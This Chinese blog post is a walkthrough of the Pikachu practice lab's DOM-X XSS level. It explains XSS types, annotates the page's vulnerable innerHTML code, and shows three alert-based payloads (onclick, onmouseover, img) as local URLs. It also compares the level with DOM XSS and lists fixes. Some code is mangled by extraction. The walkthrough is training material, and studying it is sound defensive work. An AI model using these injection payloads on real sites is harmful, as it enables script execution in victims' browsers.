目录

一、XSS

二、DOM型XSS

三、源码分析

1、打开DOM-X型XSS关卡

2、XSS探测

3、源码分析

四、渗透实战

1、Payload1

2、Payload2

3、Payload3

五、DOM型XSS与DOM-X型XSS区别


本系列为通过《pikachu靶场通关笔记》的XSS攻击关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡05-DOM-X型XSS的渗透部分,并对比04关DOM型XSS,从源码分析和原理对比两者的区别。

一、XSS

XSS 全称为跨站脚本攻击(Cross - Site Scripting),因其高危害性长期位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。

分类

存储型XSS

(Stored XSS)

反射型XSS

(Reflected XSS)

DOM型XSS

(DOM-based XSS)

存储位置服务器(数据库/文件)URL参数(不存储)前端DOM(不经过服务器)
触发方式用户访问被污染的页面自动执行用户点击恶意链接后临时反射执行前端JS操作DOM时动态触发
持久性长期存在一次性(需诱导点击)依赖用户当前页面操作
检测难度中(需扫描存储内容)中(需构造恶意URL)高(需人工审计前端代码)
典型场景论坛评论、用户资料页搜索框、错误页面SPA应用、动态路由
服务端参与是(存储+返回恶意代码)是(反射恶意代码)否(纯前端)
防御重点输入过滤+输出编码URL参数消毒+CSP策略安全的DOM操作+前端验证
修复成本高(需清理数据库)中(修改参数处理逻辑)中(重构前端代码)

二、DOM型XSS

DOM型XSS(DOM-based XSS)是一种纯客户端的跨站脚本攻击,恶意脚本通过前端JavaScript动态操作DOM触发,不经过服务器处理。攻击者利用URL片段(如#<script>alert(1)</script>)或输入字段注入恶意代码,当页面使用innerHTML、eval()或location.hash等危险API解析内容时执行。常见于单页应用(SPA)和动态网页,传统WAF难以检测。与存储型/反射型XSS不同,DOM型完全在浏览器端完成攻击链,是现代化Web应用的高危风险。

分类DOM型XSS
别名Type-0 XSS、纯客户端XSS
攻击入口URL片段(#后)、location.search、前端输入字段(如document.getElementById().value
触发条件前端使用危险API动态操作DOM(如innerHTMLdocument.writeeval()
数据流不经过服务器,直接在浏览器端解析执行
攻击特点绕过服务端检测(WAF无效),依赖前端代码逻辑风险
防御措施1. 避免innerHTML(用textContentcreateElement
2. 输入消毒(DOMPurify库)
3. CSP策略(禁止内联脚本)
检测难点需人工审计前端代码,自动化工具易漏检

三、源码分析

1、打开DOM-X型XSS关卡

进入pikachu靶场XSS系列的05关卡 DOM-X型XSS页面,让说出你的伤心往事,具体打如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php

2、XSS探测

输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。

​​​​​​​'"<>?&ljn20241019

点击如上链接进入下图界面,发现此时输出的内容与上一步的输入有区别, 如下所示。

3、源码分析

查看DOM-X型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字“风”,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出,具体如下所示。

这段代码存在DOM-X型 XSS 安全风险,具体的源码经过详细注释后如下所示。

<div class="page-content">
<div id="xssd_main">
<script>
function domxss(){
var str = window.location.search;// 从URL获取参数
var txss = decodeURIComponent(str.split("text=")[1]);// 解码URL编码并提取text参数值(危险操作!)
var xss = txss.replace(/\+/g,' ');//+号替换为空格(不影响XSS攻击)

// 直接将用户输入拼接到HTML中(核心注入点)
document.getElementById("dom").innerHTML = "就让往事都随风,都随风吧";
}

// 攻击者可以尝试以下Payload:
// 1. '>')">
 // 2. ' onclick="alert('xss')">
<
/script>

<!-- 表单提交text参数到当前URL -->
<form method="get">
<
input id="text" name="text" type="text" value="" />
<
input id="submit" type="submit" value="请说出你的伤心往事"/>
<
/form>

<!-- 恶意代码将注入到这个DOM节点 -->
<div id="dom">
<
/div>
<
/div>
<
/div>

分析可知本关卡JS代码定义了一个domxss函数,它利用 window.location.search 获取浏览器中URL的内容,然后赋值给str,然后经过URL解码和字符串分隔,取出URL中的参数内容。再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。函数的执行流程如下所示。

步骤代码作用风险
1window.location.search获取URL中?后的查询字符串(如?text=payload直接暴露用户可控输入
2str.split("text=")[1]提取text参数的值(未检查参数是否存在)text不存在会导致undefined错误
3decodeURIComponent()解码URL编码字符(如%3C恢复为<还原可能含有的恶意代码
4replace(/\+/g, ' ')+号替换为空格(URL中空格可能被编码为+不影响XSS攻击
5innerHTML = "<a href='"+xss+"'>动态生成<a>标签,用户输入直接拼接到href属性未转义字符导致DOM-XSS风险

本关卡的根源在于不可信数据未经验证直接插入DOM,关键代码如下所示。

function domxss() {
// 获取当前URL的查询参数(如 ?text=恶意代码)
var str = window.location.search;

// 提取text参数值并解码URL编码
var txss = decodeURIComponent(str.split("text=")[1]);

//+号替换为空格(处理URL中空格被编码为+的情况)
var xss = txss.replace(/\+/g, ' ');

// 将用户输入拼接到<a>标签的href属性中,并插入DOM
document.getElementById("dom").innerHTML = "就让往事都随风,都随风吧";
}

四、渗透实战

    渗透的方法是通过<a href='"+xss+"'>就让往事都随风,都随风吧</a>构成闭合,对比DOM型XSS关卡的闭合参数如下所示。

    DOM-X型:<a href='"+xss+"'>就让往事都随风,都随风吧<
    /a>
    DOM型: <a href='"+str+"'>what do you see?<
    /a>

    1、Payload1

    payload1: #' οnclick=alert("ljn")>

    #' onclick=alert("ljn")>

    闭合后:<a href='#' οnclick="alert("ljn")">'>就让往事都随风,都随风吧</a>

    点击请说出你的伤心事后,下方生成链接,URL地址如下所示。

    ​http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%23%27+onclick%3Dalert%28%22ljn%22%29%3E#

    经过URL decode后的完整URL链接如下所示。

    ​http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=#'+onclick=alert("ljn")>#

    点击链接后,弹框ljn,接下来进行如下分析:右键元素-点击查看器-Ctrl+F搜索关键字“风”,如下所示。

    2、Payload2

    payload3: ' οnclick="alert('ljn')">

    ' onclick="alert('ljn')">

     闭合后:<a href οnclick="alert('ljn')"> >'就让往事都随风,都随风吧</a> 

    如上所示,点击请说出你的伤心事后,下方生成链接,URL地址如下所示。 

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27ljn%27%29%22%3E

    经过URL decode后的完整URL链接如下所示。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='+onclick="alert('ljn')">

    点击链接,弹出“ljn”,XSS攻击成功,如下所示。 

    3、Payload3

    payload3: '><img src="#" οnmοuseοver="alert('ljn')">

    '>

    闭合后:<a href><img src="#" οnmοuseοver="alert('ljn')">'>就让往事都随风,都随风吧</a>

    再次点击“有些费尽心机想要忘记的事情,后来真的就忘掉了”的URL链接。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27%3E%3Cimg+src%3D%22%23%22+onmouseover%3D%22alert%28%27ljn%27%29%22%3E

     经过URL decode后的完整URL链接如下所示。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='>

    点击链接后生成如下界面,注意红框处是一个图表,鼠标放到下图红框处就可以弹框。

    鼠标放到上图红框部分,即可弹框“ljn”,说明渗透成功,具体如下所示。

    五、DOM型XSS与DOM-X型XSS区别

    第四关DOM型XSS关键代码如下所示,参数从表单获取。

    var str = document.getElementById("text").value; // 从页面表单获取用户输入
    // 将用户输入拼接到<a>标签的href属性中,并插入DOM
    document.getElementById("dom").innerHTML = "what do you see?";

     第五关DOM-X型XSS关键代码如下所示,参数从URL种获取。

    var str = window.location.search;// 获取当前URL的查询参数(如 ?text=恶意代码)
    var txss = decodeURIComponent(str.split("text=")[1]); // 提取text参数值并解码URL编码
    var xss = txss.replace(/\+/g, ' ');//+号替换为空格(比如处理URL中空格被编码为+的情况)
    
    // 将用户输入拼接到<a>标签的href属性中,并插入DOM
    document.getElementById("dom").innerHTML = "就让往事都随风,都随风吧

    分析可知相比DOM型的XSS,DOM-X型XSS危害更大,因为它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击,两者详细区别如下所示。

    对比维度dom-x xss关卡 函数(第五关)dom xss 函数(第四关)
    输入来源从window.location.search获取URL参数(如?text=脚本从document.getElementById("text").value获取表单输入值
    触发方式

    页面加载时自动执行

    (需直接访问含恶意参数的URL)

    需要用户手动输入内容并点击按钮触发
    攻击复杂度低(攻击者只需构造恶意URL)中(需要诱导用户在输入框输入恶意内容并点击)
    利用场景通过钓鱼链接传播需要用户主动在页面交互
    参数处理自动解码URL编码(decodeURIComponent)直接使用原始输入(未解码URL编码)
    代码相似点均使用innerHTML直接拼接未过滤的用户输入到DOM均使用innerHTML直接拼接未过滤的用户输入到DOM
    典型攻击Payload?text='><img src=x onerror=alert(1)>输入框输入:'><img src=x onerror=alert(1)>
    防御难度

    更难防御(URL参数可能被各种工具自动编码/解码)

    较易防御(可通过前端输入检查拦截)
    修复建议1. 使用textContent替代innerHTML
    2. 严格校验URL参数
    1. 使用textContent
    2. 表单输入时实时过滤特殊字符
    posted on 2025-10-06 21:06  ycfenxi  阅读(12)  评论(0)    收藏  举报